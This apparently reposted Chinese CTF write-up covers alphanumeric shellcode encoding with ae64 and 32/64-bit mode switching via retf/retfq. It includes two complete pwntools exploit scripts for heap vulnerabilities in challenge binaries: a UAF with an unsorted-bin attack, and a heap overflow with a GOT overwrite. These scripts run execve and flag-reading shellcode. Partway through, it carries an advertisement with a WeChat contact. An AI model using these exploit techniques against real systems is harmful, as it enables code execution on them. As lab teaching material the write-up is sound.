網上已經有成熟的工具了,所以就簡單記錄一下工具怎麼用吧
https://github.com/TaQini/alpha3
https://github.com/veritas501/ae64.git
https://github.com/rcx/shellcode_encoder
結合題目來看吧,沒有開啓NX保護,基本這類型題目九成九都是shellcode題
程序一開始會讓我們在bss
段上輸入數據,並且判斷輸入的字符大小是否小於0x1F,再結合NX保護沒開啓的操作,很容易可以想到此時輸入的就是shellcode,而每個字節的不能小於0x1F,那麼使用ASCII碼shellcode就可以完全繞過了,因爲小於0x1F的都是不可見字符
接着再來看題目存在的漏洞,題目存在很明顯的UAF漏洞
在選項5中則是留有觸發shellcode的條件,只要dword_602440不爲0則直接指向我們輸入的shellcode,而dword_602440位於bss段,因此默認就爲0
而在add函數中,分配堆塊又恰好都在unsortbin的範圍內,那麼思路很清楚了,就是使用unsortbin修改dword_602440的值,那麼就能觸發shellcode
剩下就是shellcode如何繞過0x1F這個限制,可以看到syscal是\xf\x5
,因此syscal都無法繞過這個限制
這裏使用ae64這個工具
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
首先將需要修改的shellcode以二進制的形式導出,這裏直接用pwntools生成的shellcode即可
from ae64 import AE64
from pwn import *
context.arch='amd64'
# get bytes format shellcode
shellcode = asm(shellcraft.sh())
# get alphanumeric shellcode
f = open('shellcode','wb+')
f.write(shellcode)
f.close()
接着使用ae64的庫直接修改爲ASCII碼shellcode
from pwn import *
from ae64 import AE64
context.arch = 'amd64'
obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'rdx')
print(sc)
這裏rdx即爲shellcode執行的時候call的寄存器
然後就可以生成shellcode了
緊接着拿這段生成的shellcode就可以繞過了
exp
from pwn import *
sh = process("./pwn")
context(arch='amd64')
def add(size):
sh.recvuntil(" choice:")
sh.sendline("1")
sh.recvuntil(" message?")
sh.sendline(str(size))
def delete(index):
sh.recvuntil(" choice:")
sh.sendline("2")
sh.recvuntil("o be deleted?")
sh.sendline(str(index))
def edit(index,content):
sh.recvuntil(" choice:")
sh.sendline("3")
sh.recvuntil(" be modified?")
sh.sendline(str(index))
sh.recvuntil("t of the message?")
sh.sendline(content)
def show(index):
sh.recvuntil(" choice:")
sh.sendline("4")
sh.recvuntil(" to be showed?")
sh.sendline(str(index))
def exp():
sh.recvuntil(" choice:")
sh.sendline("5")
payload = "RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZj3TYfi9520t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9200t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP"
sh.send(payload)
add(0x81)
add(0x81)
delete(0)
edit(0, p64(0) + p64(0x602440 - 0x10))
add(0x81)
exp()
sh.interactive()
機器切換-shellcode
有時候會遇到題目需要同時使用32位shellcode與64位shellcode,那麼如何進行機器切換則成爲解題的關鍵。
CS寄存器則是用於標記機器位數的關鍵寄存器
-
CS=0x33,64位
-
CS=0x23,32位
那麼如何修改CS寄存器的值,則需要通過retfq與retf的指令
-
refq,從64位切換到32位
-
push 0x23; #32位的CS寄存器的值 push 0xxx; #需要跳轉的地址 retfq; #從32位切換到64位
-
-
ref,從32位切換至64位
-
push 0x33; #64的CS寄存器的值 push 0xxx; #需要跳轉的地址 retf; #從64位切換到32位
-
再以一道題目作爲例子,保護如下,還是沒有開啓NX保護
題目漏洞在於,再add函數中可申請11個堆塊,而題目中給堆塊地址容納的個數爲10,因此申請的第11個堆塊的地址則會到length中,從而導致第1個堆塊的大小變成了堆塊的地址值,造成了堆溢出。
這裏有個需要注意的地方是會首先檢測存放堆塊的位置是否爲0,爲0纔會給該堆塊申請的機會,因此第1個堆塊的大小必須設置爲0,才能夠申請到11個堆塊。
題目還是用mallopt修改了fastbin的大小爲0x10,因此使得無法釋放的堆塊無法放置到fastbin中,但是mallopt實際是修改了max_global_fast的大小
但是題目存在堆溢出漏洞,因此使用修改Unsortbin的bk指針,修改global_max_fast的即可,這樣就可以讓堆塊放進fastbin中了。
並且允許在bss段上輸入數據,且該地址剛好在存放堆塊地址的上方,因此僞造虛假堆塊在該位置就可以完成任意地址寫了。
緊接着修改free函數的got表地址爲堆塊地址,就可以跳轉到shellcode中執行,可以看到堆塊地址也是具有可執行權限的。
查看一下禁用了哪些函數,發現只能用read,write以及fstat函數,但是fstat函數對於這道題來說沒有用。那麼沒有open函數,我們就沒辦法進行orw的利用了。
可以看到fstat函數的64位的系統調用號爲5
但是32位下的系統調用號5爲open函數
那麼如果能切換到32位下執行系統調用爲5的系統調用,即可完成open函數的執行,這裏就要用到上述的方法使用ref與refq指令完成機器位數的切換。
這裏需要注意兩個點
(1)在切換爲機器位數之後棧頂的地址會被截斷爲4個字節,因此需要重新調整一下棧頂的地址
(2)在機器位數切換爲32位時,在執行系統調用還是會顯示原來的函數,但是這個是gdb顯示錯誤,它實際被修改爲open函數了
exp
from pwn import *
#sh = process("./pwn")
elf = ELF("pwn")
def user(name,desc):
sh.recvuntil("choice:")
sh.sendline("0")
sh.recvuntil(" name?")
sh.send(name)
sh.recvuntil("desc?")
sh.send(desc)
def add(size):
sh.recvuntil("choice:")
sh.sendline("1")
sh.recvuntil(" message?")
sh.send(str(size))
def delete(index):
sh.recvuntil("choice:")
sh.sendline("2")
sh.recvuntil(" be deleted?")
sh.send(str(index))
def edit(index, offset, content):
sh.recvuntil("choice:")
sh.sendline("3")
sh.recvuntil("ssage to be modified?")
sh.send(str(index))
sh.recvuntil("message to be modified?")
sh.send(str(offset))
sh.recvuntil("ent of the message?")
sh.send(content)
while(1):
try:
sh = process("./pwn")
add(0) #0
add(0) #1
add(0x60)
for i in range(8):
add(0x71)
delete(1)
payload = p64(0)*3 + p64(0x21) + p64(0) + p16(0x37f8 - 0x10)
edit(0,0,payload)
add(9)
delete(2)
delete(3)
delete(4)
delete(5)
user('a'*0x10+p64(0)+p64(0x71),'b')
target = 0x6020f0
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(target)
edit(0,0,payload)
add(0x60)#2
sh.recvuntil("Ptr: ")
addr = int("0x"+sh.recv(6),16)
log.info("addr:"+hex(addr))
add(0x60)#3
edit(3,0,p64(elf.got['free']))
payload = asm('push 0x23;push '+hex(addr+9)+';retfq', arch='amd64')
payload += asm('mov esp, '+hex(target+0x50)+';push 0x6761;push 0x6c662f2e;push esp;pop ebx; xor ecx,ecx; mov eax,5; int 0x80',arch='i386')
payload += asm('push 0x33;push '+hex(addr+0x2b)+';retf')
payload += asm('mov rdi,rax; mov rsi,0x602080;mov rdx, 0x100;mov rax, 0;syscall;',arch='amd64')
payload += asm('mov rdi,1;mov rax ,1;syscall;',arch='amd64')
edit(2,0,payload)
edit(0,0,p64(addr))
#attach(sh,'b*'+str(addr))
delete(6)
sh.interactive()
except:
continue
更多網安技能的在線實操練習,請點擊這裏>>